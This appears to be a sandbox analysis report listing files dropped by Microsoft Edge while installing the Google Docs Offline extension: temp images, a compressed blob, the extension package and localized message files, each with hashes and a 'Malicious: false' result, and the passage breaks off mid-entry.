Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\d98b4ffa-4101-414a-b067-8f2831127aa3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\e6c75970-f6bf-486f-810f-db91993821ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\485f89b1-33e4-4254-ae2e-fa9cb39b0a51.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
